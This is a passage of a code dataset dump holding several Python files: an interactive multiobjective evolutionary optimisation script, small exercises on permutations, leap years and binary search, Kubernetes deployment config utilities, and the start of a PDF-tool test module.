}[_class](filter)","sub_path":"bin/filterRequest.py","file_name":"filterRequest.py","file_ext":"py","file_size_in_byte":9933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"109247341","text":"from desdeo_problem.Problem import DataProblem\n\nfrom desdeo_problem.surrogatemodels.SurrogateModels import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import Matern\nfrom desdeo_emo.EAs.OfflineRVEA import ProbRVEAv3\nfrom desdeo_emo.EAs.OfflineRVEA import RVEA\n\nfrom desdeo_problem.testproblems.TestProblems import test_problem_builder\nfrom pyDOE import lhs\nimport plotly.graph_objects as go\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom non_domx import ndx\nimport plot_interactive as plt_int2\nimport plot_reference_vectors as plt_refv\n\n\n\"\"\"\ndef build_models(x, y):\n x_names = [f'x{i}' for i in range(1,31)]\n y_names = [\"f1\", \"f2\"]\n\n data = pd.DataFrame(np.hstack((x,y.objectives)), columns=x_names+y_names)\n #data_pareto = ndx(y.objectives)\n #y.objectives[data_pareto]\n problem = DataProblem(data=data, variable_names=x_names, objective_names=y_names)\n problem.train(GaussianProcessRegressor, {\"kernel\": Matern(nu=3/2)})\n return problem\n\"\"\"\n\ndef interactive_optimize_test(problem, path):\n #evolver_opt = RVEA(problem, use_surrogates=True, interact=True, n_gen_per_iter=10)\n evolver_opt = ProbRVEAv3(problem, use_surrogates=True, interact=True, n_gen_per_iter=10)\n plot, pref = evolver_opt.requests() \n pref_last = None \n while evolver_opt.continue_evolution():\n print(pref.content['message'])\n if evolver_opt._iteration_counter>1:\n print(\"Enter preferences:\")\n pref.response = pd.DataFrame([[5,5]], columns=pref.content['dimensions_data'].columns)\n pref_last= pref.response\n plot, pref = evolver_opt.iterate(pref)\n else:\n plot, pref = evolver_opt.iterate()\n # enter preferences\n\n if evolver_opt._iteration_counter>2:\n uncertainty_interaction(evolver_opt=evolver_opt, pref = pref_last.to_numpy().flatten(), path=path)\n return evolver_opt\n\ndef compute_nadir(population):\n max_gen = None\n for i in population.objectives_archive:\n if max_gen is None:\n max_gen = np.amax(population.objectives_archive[i], axis=0)\n else:\n max_gen = np.amax(np.vstack((population.objectives_archive[i], max_gen)), axis=0)\n return max_gen\n\n\ndef interactive_optimize(problem, gen_per_iter, max_iter, path):\n #evolver_opt = ProbRVEAv3(problem, use_surrogates=True, interact=True, n_gen_per_iter=gen_per_iter, n_iterations=max_iter)\n evolver_opt = RVEA(problem, use_surrogates=True, interact=True, n_gen_per_iter=gen_per_iter, n_iterations=max_iter)\n plot, pref = evolver_opt.requests() \n pref_last = None\n ideal = None\n ideal_prev = np.zeros(problem.n_of_objectives)\n nadir = None\n while evolver_opt.continue_evolution():\n print(\"Iteration Count:\")\n print(evolver_opt._iteration_counter) \n if evolver_opt._iteration_counter>=1:\n print(pref.content['message'])\n refpoint=np.zeros(problem.n_of_objectives)\n print(\"Enter preferences:\")\n for index in range(problem.n_of_objectives):\n while True:\n print(\"Preference for objective \", index + 1)\n print(\"Ideal value = \", ideal[index])\n print(\"Nadir value = \", nadir[index])\n pref_val = float(\n input(\"Please input a value between ideal and nadir: \")\n )\n #if pref_val > ideal[index] and pref_val < nadir[index]:\n if pref_val > ideal[index]:\n refpoint[index] = pref_val\n #refpoint[index] = ideal[index] + 0.5\n break\n ideal_prev = ideal\n refpoint = np.reshape(refpoint,(1,-1))\n print(\"Reference point=\",refpoint)\n pref.response = pd.DataFrame(refpoint, columns=pref.content['dimensions_data'].columns)\n pref_last= pref.response\n plot, pref = evolver_opt.iterate(pref) \n else:\n plot, pref = evolver_opt.iterate() \n\n nadir = compute_nadir(evolver_opt.population)\n evolver_opt.population.nadir_fitness_val = nadir\n print(\"Nadir point:\",nadir)\n ideal = evolver_opt.population.ideal_fitness_val\n\n if evolver_opt._iteration_counter<=1:\n pref_rv = np.ones(problem.n_of_objectives)\n else:\n pref_rv = pref_last.to_numpy().flatten()\n refpoint = pref_rv - ideal_prev\n norm = np.sqrt(np.sum(np.square(refpoint)))\n refpoint = refpoint / norm\n print(\"Normalized reference point=\", refpoint)\n plt_refv.plot_refv(objs=evolver_opt.reference_vectors.values, \n preference=refpoint, \n iteration=evolver_opt._iteration_counter, \n ideal=np.zeros(problem.n_of_objectives), \n nadir=np.ones(problem.n_of_objectives),\n path=path)\n \n # enter preferences\n if evolver_opt._iteration_counter>=2:\n objs_interation_end, unc_interaction_end = uncertainty_interaction(evolver_opt=evolver_opt, pref = pref_last.to_numpy().flatten(), path=path)\n evolver_opt.objs_interation_end = objs_interation_end\n evolver_opt.unc_interaction_end = unc_interaction_end\n else:\n evolver_opt.objs_interation_end = evolver_opt.population.objectives\n evolver_opt.unc_interaction_end = evolver_opt.population.uncertainity\n return evolver_opt\n\ndef uncertainty_interaction(evolver_opt, pref, path):\n max_range_x = evolver_opt.population.ideal_fitness_val[0]\n max_range_y = evolver_opt.population.ideal_fitness_val[1]\n min_range_x = evolver_opt.population.nadir_fitness_val[0]\n min_range_y = evolver_opt.population.nadir_fitness_val[1]\n obj_arch = None\n unc_arch = None\n indiv_arch = None\n obj_arch_all = None\n unc_arch_all = None\n use_all_archive = True\n start_gen = 1\n count_interaction_thresh = 0\n ref_pnt_normalized = None\n\n if use_all_archive is False:\n start_gen = evolver_opt._current_gen_count - evolver_opt.n_gen_per_iter\n print(\"Number of solutions in last generation:\")\n print(np.shape(evolver_opt.population.objectives)[0])\n for i in range(start_gen, evolver_opt.population.gen_count):\n if obj_arch is None:\n obj_arch = evolver_opt.population.objectives_archive[str(i)]\n unc_arch = evolver_opt.population.uncertainty_archive[str(i)]\n indiv_arch = evolver_opt.population.individuals_archive[str(i)]\n else:\n obj_arch = np.vstack((obj_arch, evolver_opt.population.objectives_archive[str(i)]))\n unc_arch = np.vstack((unc_arch, evolver_opt.population.uncertainty_archive[str(i)]))\n indiv_arch = np.vstack((indiv_arch, evolver_opt.population.individuals_archive[str(i)]))\n print(\"Number of solutions in archive:\")\n print(np.shape(obj_arch)[0])\n obj_arch_all = obj_arch\n unc_arch_all = unc_arch\n indiv_arch_all = indiv_arch \n # evolver_opt.reference_vectors.ref_point \n if pref is not None:\n ideal = evolver_opt.population.ideal_fitness_val\n refpoint = pref\n refpoint = refpoint - ideal\n norm = np.sqrt(np.sum(np.square(refpoint)))\n ref_pnt_normalized = refpoint / norm\n print(\"Reference point:\")\n print(refpoint)\n print(\"Reference point normalized:\")\n print(ref_pnt_normalized)\n edge_adapted_vectors = evolver_opt.reference_vectors.get_adapted_egde_vectors(ref_pnt_normalized)\n print(\"The edge adapted vectors are:\")\n print(edge_adapted_vectors)\n\n #refV = vectors.neighbouring_angles_current\n # Normalization - There may be problems here\n\n fmin = np.amin(obj_arch, axis=0)\n #fmin = self.params[\"fmin_iteration\"]\n translated_fitness = obj_arch - fmin\n fitness_norm = np.linalg.norm(translated_fitness, axis=1)\n fitness_norm = np.repeat(fitness_norm, len(translated_fitness[0, :])).reshape(\n len(translated_fitness), len(translated_fitness[0, :])\n )\n normalized_fitness = np.divide(translated_fitness, fitness_norm) # Checked, works.\n cosine = np.dot(normalized_fitness, np.transpose(edge_adapted_vectors))\n cosine_vectors = np.dot(edge_adapted_vectors, np.transpose(edge_adapted_vectors))\n if cosine[np.where(cosine > 1)].size:\n print(\n \"RVEA.py line 60 cosine larger than 1 decreased to 1:\"\n )\n cosine[np.where(cosine > 1)] = 1\n if cosine[np.where(cosine < 0)].size:\n print(\n \"RVEA.py line 64 cosine smaller than 0 decreased to 0:\"\n )\n cosine[np.where(cosine < 0)] = 0\n\n if cosine_vectors[np.where(cosine_vectors > 1)].size:\n print(\n \"RVEA.py line 60 cosine larger than 1 decreased to 1:\"\n )\n cosine_vectors[np.where(cosine_vectors > 1)] = 1\n if cosine_vectors[np.where(cosine_vectors < 0)].size:\n print(\n \"RVEA.py line 64 cosine smaller than 0 decreased to 0:\"\n )\n cosine_vectors[np.where(cosine_vectors < 0)] = 0\n\n # Calculation of angles between reference vectors and solutions\n theta = np.arccos(cosine)\n #theta_vectors = np.arccos(cosine_vectors)[\n # np.triu_indices(np.shape(obj_arch)[1], np.shape(obj_arch)[1]-1)]\n theta_vectors_one = np.max(np.arccos(cosine_vectors), axis=1)\n print(\"Angle between edge vectors:\", theta_vectors_one)\n print(\"Angles between solutions:\", theta)\n #theta_vectors_one = np.ones(np.shape(obj_arch)[1])*theta_vectors[0]\n index_pref = []\n for i in range(np.shape(obj_arch)[0]):\n if(all(theta[i] <= theta_vectors_one)):\n index_pref.append(i)\n obj_arch = obj_arch[index_pref]\n unc_arch = unc_arch[index_pref]\n indiv_arch = indiv_arch[index_pref]\n obj_arch_pref = obj_arch\n unc_arch_pref = unc_arch\n indiv_arch_pref = indiv_arch\n print(\"Number of solutions in archive within preference:\")\n print(np.shape(obj_arch)[0])\n\n # Non-dominated sort in generic approach (without uncertainty)\n if np.shape(obj_arch)[0]>0:\n # Non-dominated sort\n obj_unc_arch2 = obj_arch\n non_dom_front2 = ndx(obj_unc_arch2)\n obj_arch2= obj_arch[non_dom_front2[0][0]]\n unc_arch2 = unc_arch[non_dom_front2[0][0]]\n indiv_arch2 = indiv_arch[non_dom_front2[0][0]]\n obj_arch_nds2 = obj_arch2\n unc_arch_nds2 = unc_arch2\n indiv_arch_nds2 = indiv_arch2\n print(\"Number of solutions after non-dom sort (without uncertainty):\")\n print(np.shape(obj_arch2)[0])\n else:\n obj_arch2 = evolver_opt.population.objectives_archive[str(evolver_opt.population.gen_count-1)]\n unc_arch2 = evolver_opt.population.uncertainty_archive[str(evolver_opt.population.gen_count-1)]\n indiv_arch2 = evolver_opt.population.individuals_archive[str(evolver_opt.population.gen_count - 1)]\n obj_arch_nds2 = obj_arch2\n unc_arch_nds2 = unc_arch2\n indiv_arch_nds2 = indiv_arch2\n\n # Non-dominated sort\n if np.shape(obj_arch)[0]>0:\n # Non-dominated sort\n obj_unc_arch = np.hstack((obj_arch, unc_arch))\n non_dom_front = ndx(obj_unc_arch)\n obj_arch = obj_arch[non_dom_front[0][0]]\n unc_arch = unc_arch[non_dom_front[0][0]]\n indiv_arch = indiv_arch[non_dom_front[0][0]]\n obj_arch_nds = obj_arch\n unc_arch_nds = unc_arch\n indiv_arch_nds = indiv_arch\n print(\"Number of solutions after non-dom sort (including uncertinty):\")\n print(np.shape(obj_arch)[0])\n else:\n obj_arch = evolver_opt.population.objectives_archive[str(evolver_opt.population.gen_count-1)]\n unc_arch = evolver_opt.population.uncertainty_archive[str(evolver_opt.population.gen_count-1)]\n indiv_arch = evolver_opt.population.individuals_archive[str(evolver_opt.population.gen_count - 1)]\n obj_arch_nds = obj_arch\n unc_arch_nds = unc_arch\n indiv_arch_nds = indiv_arch\n\n\n # Select solutions within the preference\n np.savetxt(path+'/Obj_arch_all' + '_' +str(evolver_opt._iteration_counter)+'.csv', obj_arch_all, delimiter=\",\")\n np.savetxt(path+'/Unc_arch_all' + '_' + str(evolver_opt._iteration_counter) + '.csv', unc_arch_all, delimiter=\",\")\n np.savetxt(path+'/Indiv_arch_all' + '_' + str(evolver_opt._iteration_counter) + '.csv', indiv_arch_all,delimiter=\",\")\n np.savetxt(path+'/Obj_arch_nds' + '_' + str(evolver_opt._iteration_counter) + '.csv', obj_arch_nds, delimiter=\",\")\n np.savetxt(path+'/Unc_arch_nds' + '_' + str(evolver_opt._iteration_counter) + '.csv', unc_arch_nds, delimiter=\",\")\n np.savetxt(path+'/Indiv_arch_nds' + '_' + str(evolver_opt._iteration_counter) + '.csv', indiv_arch_nds,\n delimiter=\",\")\n np.savetxt(path+'/Obj_arch_nds2' + '_' + str(evolver_opt._iteration_counter) + '.csv', obj_arch_nds2, delimiter=\",\")\n np.savetxt(path+'/Unc_arch_nds2' + '_' + str(evolver_opt._iteration_counter) + '.csv', unc_arch_nds2, delimiter=\",\")\n np.savetxt(path+'/Indiv_arch_nds2' + '_' + str(evolver_opt._iteration_counter) + '.csv', indiv_arch_nds2,\n delimiter=\",\")\n np.savetxt(path+'/Obj_arch_pref' + '_' + str(evolver_opt._iteration_counter) + '.csv', obj_arch_pref, delimiter=\",\")\n np.savetxt(path+'/Unc_arch_pref' + '_' + str(evolver_opt._iteration_counter) + '.csv', unc_arch_pref, delimiter=\",\")\n np.savetxt(path+'/Indiv_arch_pref' + '_' + str(evolver_opt._iteration_counter) + '.csv', indiv_arch_pref,\n delimiter=\",\")\n\n # Convert uncertainty to indifference\n unc_arch_percent = np.abs((1.96*unc_arch/obj_arch)*100)\n min_uncertainty = np.min(unc_arch_percent, axis=0)\n max_uncertainty = np.max(unc_arch_percent, axis=0)\n thresholds = np.ones_like(evolver_opt.population.ideal_fitness_val)*np.inf\n\n # Plotting\n if np.shape(obj_arch)[1] == 2:\n if evolver_opt._iteration_counter==1:\n fig = plt.figure(1, figsize=(6, 6))\n ax = fig.add_subplot(111)\n ax.set_xlabel('$f_1$')\n ax.set_ylabel('$f_2$')\n plt.xlim(min_range_x, max_range_x)\n plt.ylim(min_range_y, max_range_y)\n unc_avg_all = np.mean(unc_arch_all, axis=1)\n unc_avg_all_max = np.max(unc_avg_all)\n unc_avg_all_min = np.min(unc_avg_all)\n unc_avg_all = unc_avg_all / unc_avg_all_max\n\n # ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c=unc_avg)\n ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c=unc_avg_all, vmax=1, vmin=unc_avg_all_min)\n plt.tight_layout()\n fig.savefig(path+'/threshold_' + str(0)\n + '_' + str(0) + '.pdf')\n\n fig = plt.figure(1, figsize=(6, 6))\n ax = fig.add_subplot(111)\n ax.set_xlabel('$f_1$')\n ax.set_ylabel('$f_2$')\n plt.xlim(min_range_x, max_range_x)\n plt.ylim(min_range_y, max_range_y)\n unc_avg_all = np.mean(unc_arch_all, axis=1)\n unc_avg_all_max = np.max(unc_avg_all)\n unc_avg_all_min = np.min(unc_avg_all)\n unc_avg_all = (unc_avg_all - unc_avg_all_min) / (unc_avg_all_max - unc_avg_all_min)\n unc_avg_pref = np.mean(unc_arch_pref, axis=1)\n unc_avg_pref = (unc_avg_pref - unc_avg_all_min)/ (unc_avg_all_max - unc_avg_all_min)\n unc_avg_nds = np.mean(unc_arch_nds, axis=1)\n unc_avg_nds = (unc_avg_nds - unc_avg_all_min)/ (unc_avg_all_max - unc_avg_all_min)\n #ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c=unc_avg)\n #ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c=unc_avg_all, alpha=0.3, vmax=1, vmin=unc_avg_all_min)\n\n ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c=unc_avg_all, vmax=1, vmin=unc_avg_all_min)\n # ax.errorbar(obj_arch[:, 0], obj_arch[:, 1], xerr=1.96 * unc_arch[:, 0],\n # yerr=1.96 * unc_arch[:, 1],\n # fmt='o', ecolor='g')\n #if pref is not None:\n # ax.scatter(pref[0], pref[1], c='r')\n # plt.show()\n plt.tight_layout()\n fig.savefig(path+'/all_' + str(evolver_opt._iteration_counter)\n + '_' + str(0) + '.pdf')\n\n plt.clf()\n fig = plt.figure(1, figsize=(6, 6))\n ax = fig.add_subplot(111)\n ax.set_xlabel('$f_1$')\n ax.set_ylabel('$f_2$')\n plt.xlim(min_range_x, max_range_x)\n plt.ylim(min_range_y, max_range_y)\n\n ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c='lightgray')\n ax.scatter(obj_arch_pref[:, 0], obj_arch_pref[:, 1], c=unc_avg_pref, vmax=1, vmin=unc_avg_all_min)\n #ax.errorbar(obj_arch[:, 0], obj_arch[:, 1], xerr=1.96 * unc_arch[:, 0],\n # yerr=1.96 * unc_arch[:, 1],\n # fmt='o', ecolor='g')\n if pref is not None:\n ax.scatter(pref[0], pref[1], c='r',s=70)\n #plt.show()\n plt.tight_layout()\n fig.savefig(path+'/pref_' + str(evolver_opt._iteration_counter)\n + '_' + str(0) + '.pdf')\n plt.clf()\n fig = plt.figure(1, figsize=(6, 6))\n ax = fig.add_subplot(111)\n ax.set_xlabel('$f_1$')\n ax.set_ylabel('$f_2$')\n plt.xlim(min_range_x, max_range_x)\n plt.ylim(min_range_y, max_range_y)\n\n #fig.savefig('x1_start.pdf')\n ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c='lightgray')\n ax.scatter(obj_arch_nds[:, 0], obj_arch_nds[:, 1], c=unc_avg_nds, vmax=1, vmin=unc_avg_all_min)\n #ax.errorbar(obj_arch[:, 0], obj_arch[:, 1], xerr=1.96 * unc_arch[:, 0],\n # yerr=1.96 * unc_arch[:, 1],\n # fmt='o', ecolor='g')\n if pref is not None:\n ax.scatter(pref[0], pref[1], c='r',s=70)\n #plt.show()\n plt.tight_layout()\n fig.savefig(path+'/nds_' + str(evolver_opt._iteration_counter)\n + '_' + str(0) + '.pdf')\n plt.clf()\n print('Plotted!')\n elif np.shape(obj_arch)[1] > 2:\n\n \"\"\"\n fig_obj=plt_int.animate_parallel_coords_init_(data=obj_arch,\n data_unc=unc_arch,\n vectors=edge_adapted_vectors,\n preference=pref,\n filename= str(evolver_opt._iteration_counter)+\"_test_manyobj.html\")\n \n fig_obj=animate_init_(data=obj_arch,\n filename=str(evolver_opt._iteration_counter)+\"_test_manyobj.html\")\n \"\"\"\n unc_avg_all = np.mean(unc_arch_all, axis=1)\n unc_avg_all_max = np.max(unc_avg_all)\n unc_avg_all_min = np.min(unc_avg_all)\n plt_int2.plot_vals(objs=obj_arch_all,\n unc=unc_arch_all,\n preference=pref,\n iteration=evolver_opt._iteration_counter,\n min=unc_avg_all_min,\n max=unc_avg_all_max,\n interaction_count=-2,\n ideal=evolver_opt.population.ideal_fitness_val,\n nadir=evolver_opt.population.nadir_fitness_val,path=path)\n\n plt_int2.plot_vals(objs=obj_arch_pref,\n unc=unc_arch_pref,\n preference=pref,\n iteration=evolver_opt._iteration_counter,\n interaction_count=-1,\n min=unc_avg_all_min,\n max=unc_avg_all_max,\n ideal=evolver_opt.population.ideal_fitness_val,\n nadir=evolver_opt.population.nadir_fitness_val,path=path)\n\n\n plt_int2.plot_vals(objs=obj_arch,\n unc=unc_arch,\n preference=pref,\n iteration=evolver_opt._iteration_counter,\n interaction_count=0,\n min=unc_avg_all_min,\n max=unc_avg_all_max,\n ideal=evolver_opt.population.ideal_fitness_val,\n nadir=evolver_opt.population.nadir_fitness_val,path=path)\n\n plt_int2.plot_vals(objs=obj_arch2,\n unc=unc_arch2,\n preference=pref,\n iteration=evolver_opt._iteration_counter,\n interaction_count=-3,\n min=unc_avg_all_min,\n max=unc_avg_all_max,\n ideal=evolver_opt.population.ideal_fitness_val,\n nadir=evolver_opt.population.nadir_fitness_val,path=path)\n \n\n\n print(\"Total solutions after pre-filtering:\")\n print(np.shape(obj_arch)[0])\n end_disp = 1.0\n end_disp = float(input(\"Do you want to SET thresholds : \"))\n\n while end_disp > 0.0:\n no_solns = True\n while no_solns is True:\n for index in range(len(thresholds)):\n while True:\n print(\"Set the uncertainty threshold for objective (in %)\", index + 1)\n print(\"Minimum uncertainty value % = \", min_uncertainty[index])\n print(\"Maximum uncertainty value % = \", max_uncertainty[index])\n thresh_val = input(\"Please input the uncertainty threshold : \")\n print(thresh_val)\n thresh_val = float(thresh_val)\n print(thresh_val)\n if thresh_val > min_uncertainty[index]:\n thresholds[index] = thresh_val\n break\n #loc = np.where(thresholds > unc_arch_percent)\n #loc = np.where((thresholds[0] > unc_arch_percent[:, 0]) & (thresholds[1] > unc_arch_percent[:, 1]))\n loc = np.where(np.all(np.tile(thresholds,(np.shape(unc_arch_percent)[0],1))> unc_arch_percent, axis=1))\n if np.size(loc)>0:\n no_solns = False\n else:\n print(\"No solutions! Please re-enter preferences.\")\n count_interaction_thresh += 1\n\n # Saving data\n np.savetxt(path+'/Obj_arch_cutoff' + '_' + str(evolver_opt._iteration_counter)\n + '_' + str(count_interaction_thresh) + '.csv', obj_arch[loc],\n delimiter=\",\")\n np.savetxt(path+'/Unc_arch_cutoff' + '_' + str(evolver_opt._iteration_counter)\n + '_' + str(count_interaction_thresh) + '.csv', unc_arch[loc],\n delimiter=\",\")\n np.savetxt(path+'/Indiv_arch_cutoff' + '_' + str(evolver_opt._iteration_counter)\n + '_' + str(count_interaction_thresh) + '.csv', indiv_arch[loc],\n delimiter=\",\")\n # Plotting\n if np.shape(obj_arch)[1] == 2:\n fig = plt.figure(1, figsize=(6, 6))\n ax = fig.add_subplot(111)\n ax.set_xlabel('$f_1$')\n ax.set_ylabel('$f_2$')\n plt.xlim(min_range_x, max_range_x)\n plt.ylim(min_range_y, max_range_y)\n unc_avg = np.mean(unc_arch, axis=1)\n unc_avg = (unc_avg - unc_avg_all_min)/ (unc_avg_all_max - unc_avg_all_min)\n #unc_avg = unc_avg / unc_avg_all_max\n #ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c=unc_avg_all, alpha=0.3, vmax=1,\n # vmin=unc_avg_all_min)\n ax.scatter(obj_arch_all[:, 0], obj_arch_all[:, 1], c='gray')\n #ax.errorbar(obj_arch[loc, 0], obj_arch[loc, 1], xerr=1.96 * unc_arch[loc, 0],\n # yerr=1.96 * unc_arch[loc, 1],\n # fmt='o', ecolor='g')\n ax.scatter(obj_arch[loc, 0], obj_arch[loc, 1], c=np.reshape((unc_avg[loc]),(1,-1)), vmax=1, vmin=unc_avg_all_min)\n if pref is not None:\n ax.scatter(pref[0], pref[1], c='r',s=70)\n #plt.show()\n plt.tight_layout()\n fig.savefig(path+'/threshold_'+ str(evolver_opt._iteration_counter)\n + '_' + str(count_interaction_thresh) + '.pdf')\n print('Plotted!')\n elif np.shape(obj_arch)[1] > 2:\n plt_int2.plot_vals(objs=obj_arch[loc],\n unc=unc_arch[loc],\n preference=pref,\n iteration=evolver_opt._iteration_counter,\n interaction_count=count_interaction_thresh,\n min=unc_avg_all_min,\n max=unc_avg_all_max,\n ideal=evolver_opt.population.ideal_fitness_val,\n nadir=evolver_opt.population.nadir_fitness_val,\n path=path)\n \"\"\"\n fig_obj = plt_int.animate_parallel_coords_next_(data=obj_arch[loc],\n data_unc=unc_arch[loc],\n vectors=edge_adapted_vectors,\n preference=evolver_opt.reference_vectors.ref_point,\n filename=str(evolver_opt._iteration_counter)+\"_test_manyobj.html\",\n figure=fig_obj,\n generation=count_interaction_thresh)\n \n fig_obj = animate_next_(data=obj_arch[loc],\n figure=fig_obj,\n generation=count_interaction_thresh,\n filename=str(evolver_opt._iteration_counter)+\"_test_manyobj.html\")\n \"\"\"\n\n end_disp = float(input(\"Do you want to reset thresholds : \"))\n print(end_disp)\n if end_disp > 0.0: \n return obj_arch[loc], unc_arch[loc]\n else:\n return obj_arch, unc_arch\n\n\"\"\"\nproblem_name = \"ZDT1\"\nprob = test_problem_builder(problem_name)\n\nx = lhs(30, 100)\ny = prob.evaluate(x)\n\nprob = build_models(x,y)\nevolver_obj = interactive_optimize_test(prob)\n\"\"\"","sub_path":"other_files/BIOMA_framework.py","file_name":"BIOMA_framework.py","file_ext":"py","file_size_in_byte":26418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"504077127","text":"#!/usr/bin/env python\n\n\"\"\"\n\nGiven an array of numbers as input, find all permutations that do not have the same number next to each other, then print them all out.\nIf no permutations were found, print \"Nothing\". Note that the original array can be a permutation.\n\nTest cases:\n\n[0, 1, 1, 0] -> [1, 0, 1, 0], [0, 1, 0, 1]\n[0, 1, 2, 0] -> [0, 1, 2, 0], [0, 2, 1, 0], [1, 0, 2, 0], [0, 1, 0, 2], [2, 0, 1, 0], [0, 2, 0, 1]\n[0, 1, 0] -> [0, 1, 0]\n[1, 1, 1] -> Nothing\n[0, 0, 1, 1] -> [0, 1, 0, 1], [1, 0, 1, 0]\nRemember that this is code golf, so the shortest answer (in bytes) wins!\n\n\"\"\"\n\nfrom itertools import *\n\ndef sameness(p):\n for i in range(len(p)-1):\n if p[i] == p[i+1]:\n return False\n return True\n\ndef permute(a):\n l = []\n n = len(a)\n for p in permutations(a):\n if sameness(p):\n l.append(p)\n return set(l)\n\ndef main():\n print(permute([0, 1, 1, 0]))\n print(permute([0, 1, 2, 0]))\n print(permute([0, 1, 0]))\n print(permute([1, 1, 1]))\n print(permute([0, 0, 1, 1]))\n\nmain()\n","sub_path":"codegolf/complex-permutation.py","file_name":"complex-permutation.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"539920350","text":"# Написать функцию is_year_leap, принимающую 1 аргумент — год, и возвращающую True, если год високосный, и False иначе.\ndef is_year_leap(year):\n if((year%4 == 0) & (year%100 != 0) | (year%400 == 0)):\n return True\n return False\n\n\ndef print_leap_year(year):\n leap = is_year_leap(year)\n print(\"Год {0} {1}\".format(year, \"високосный\" if leap else \"невисокосный\"))\n #if(leap):\n # print(\"Год \"+str(year)+\" високосный\")\n #else:\n # print(\"Год \"+str(year)+\" невисокосный\")\n\n\n#for year in range(2010, 2030):\n# print_leap_year(year)\n\nwhile True:\n s = input()\n if s=='':\n break\n year = int(s)\n print_leap_year(year)","sub_path":"PyHelloWorld/leap.py","file_name":"leap.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"539340215","text":"def b_search(total_list, find_target_value, start_idx, end_idx):\n if start_idx > end_idx:\n return -1\n \n target_idx = int((start_idx + end_idx) / 2)\n \n if find_target_value < total_list[target_idx]:\n return b_search(total_list, find_target_value, start_idx, target_idx-1)\n elif find_target_value > total_list[target_idx]:\n return b_search(total_list, find_target_value, target_idx+1, end_idx)\n \n return target_idx\n\nn = int(input())\nnum_list = sorted(list(map(int, input().split())))\n\nm = int(input())\nfor find_num in list(map(int, input().split())):\n if b_search(num_list, find_num, 0, len(num_list)-1) >= 0:\n print(\"1\")\n else:\n print(\"0\")\n","sub_path":"2_Algorithm_and_Cloud/07_binary_search_recursion_sol.py","file_name":"07_binary_search_recursion_sol.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"341594143","text":"import logging\nimport os\nimport pkg_resources\n\nimport yaml\n\nimport fuel_ccp\nfrom fuel_ccp.common import jinja_utils\nfrom fuel_ccp import config\nfrom fuel_ccp import kubernetes\n\n\nCONF = config.CONF\n\nLOG = logging.getLogger(__name__)\n\n\ndef k8s_name(*args):\n return \"-\".join(tuple(args)).replace(\"_\", \"-\")\n\n\ndef get_resource_path(path):\n return pkg_resources.resource_filename(fuel_ccp.version_info.package, path)\n\n\ndef get_global_parameters(*config_groups):\n cfg = {}\n components = list(CONF.repositories.names)\n paths = []\n # Order does matter. At first we add global defaults.\n for conf_path in (\"resources/defaults.yaml\", \"resources/globals.yaml\"):\n paths.append(get_resource_path(conf_path))\n\n # After we add component defaults.\n for component in components:\n paths.append(os.path.join(CONF.repositories.path, component,\n \"service/files/defaults.yaml\"))\n\n # And finaly we add cluster-wide globals conf, if provided.\n if CONF.deploy_config:\n paths.append(CONF.deploy_config)\n\n for path in paths:\n if os.path.isfile(path):\n LOG.debug(\"Adding parameters from \\\"%s\\\"\", path)\n with open(path, \"r\") as f:\n data = yaml.load(f)\n for group in config_groups:\n cfg.setdefault(group, {})\n cfg[group].update(data.get(group, {}))\n else:\n LOG.debug(\"\\\"%s\\\" not found, skipping\", path)\n\n for group in config_groups:\n cfg.setdefault(group, {})\n try:\n config_group = CONF[group]\n except KeyError:\n continue\n else:\n cfg[group].update(config_group._items())\n\n return cfg\n\n\ndef get_deploy_components_info(rendering_context=None):\n if rendering_context is None:\n rendering_context = get_global_parameters(\"configs\")[\"configs\"]\n components_map = {}\n\n for component in CONF.repositories.names:\n service_dir = os.path.join(CONF.repositories.path,\n component,\n 'service')\n if not os.path.isdir(service_dir):\n continue\n for service_file in os.listdir(service_dir):\n if service_file.endswith('.yaml'):\n LOG.debug(\"Rendering service definition: %s\", service_file)\n content = jinja_utils.jinja_render(\n os.path.join(service_dir, service_file), rendering_context\n )\n LOG.debug(\"Parse service definition: %s\", service_file)\n service_definition = yaml.load(content)\n service_name = service_definition['service']['name']\n components_map[service_name] = {\n 'service_dir': service_dir,\n 'service_content': service_definition\n }\n return components_map\n\n\ndef get_deployed_components():\n \"\"\"Returns set of deployed components.\"\"\"\n deployed_daemonsets = kubernetes.list_cluster_daemonsets()\n deployed_deployments = kubernetes.list_cluster_deployments()\n deployed_components = set(kubernetes.get_object_names(\n deployed_daemonsets + deployed_deployments))\n\n return deployed_components\n","sub_path":"fuel_ccp/common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"363030317","text":"from __future__ import print_function, division, absolute_import\n\nimport os\nimport pytest\nimport tempfile\n\nfrom .runner import main as runner\nfrom .differ import main as differ\n\nTOOL = 'proofpdf'\n\ndata_dir_path = os.path.join(os.path.split(__file__)[0], TOOL + '_data')\n\n\ndef _get_expected_path(file_name):\n return os.path.join(data_dir_path, 'expected_output', file_name)\n\n\ndef _get_input_path(file_name):\n return os.path.join(data_dir_path, 'input', file_name)\n\n\ndef _get_temp_file_path():\n file_descriptor, path = tempfile.mkstemp()\n os.close(file_descriptor)\n return path\n\n\ndef _get_filename_label(file_name):\n sep_index = file_name.find('_')\n if sep_index == -1:\n return ''\n return file_name.split('.')[0][sep_index:]\n\n\n# -----\n# Tests\n# -----\n\n@pytest.mark.parametrize('font_filename', [\n 